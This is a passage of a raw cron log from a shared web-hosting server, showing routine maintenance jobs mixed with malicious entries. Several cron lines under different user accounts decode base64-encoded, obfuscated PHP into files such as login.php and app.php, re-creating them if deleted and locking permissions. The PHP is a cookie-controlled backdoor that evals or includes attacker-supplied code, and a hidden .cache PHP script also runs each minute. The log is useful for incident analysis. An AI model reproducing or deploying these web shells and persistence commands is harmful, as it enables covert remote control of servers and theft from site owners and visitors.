ScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:31:01 medusa CROND[2982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:31:01 medusa CROND[2983]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:31:01 medusa CROND[2984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:31:01 medusa CROND[2989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:31:01 medusa CROND[2990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:31:01 medusa CROND[2992]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:31:01 medusa CROND[2996]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:31:01 medusa CROND[2997]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:32:01 medusa CROND[4840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:32:01 medusa CROND[4850]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:32:01 medusa CROND[4857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:32:01 medusa CROND[4868]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:32:01 medusa CROND[4869]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:32:01 medusa CROND[4870]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:32:01 medusa CROND[4871]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:32:01 medusa CROND[4876]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:32:01 medusa CROND[4878]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:32:01 medusa CROND[4879]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:32:01 medusa CROND[4906]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:32:01 medusa CROND[4908]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:32:01 medusa CROND[4910]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:33:01 medusa CROND[6580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:33:01 medusa CROND[6617]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:33:01 medusa CROND[6619]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:33:01 medusa CROND[6618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:33:01 medusa CROND[6621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:33:01 medusa CROND[6622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:33:01 medusa CROND[6623]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:33:01 medusa CROND[6627]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:33:01 medusa CROND[6629]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:33:01 medusa CROND[6624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:33:01 medusa CROND[6631]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
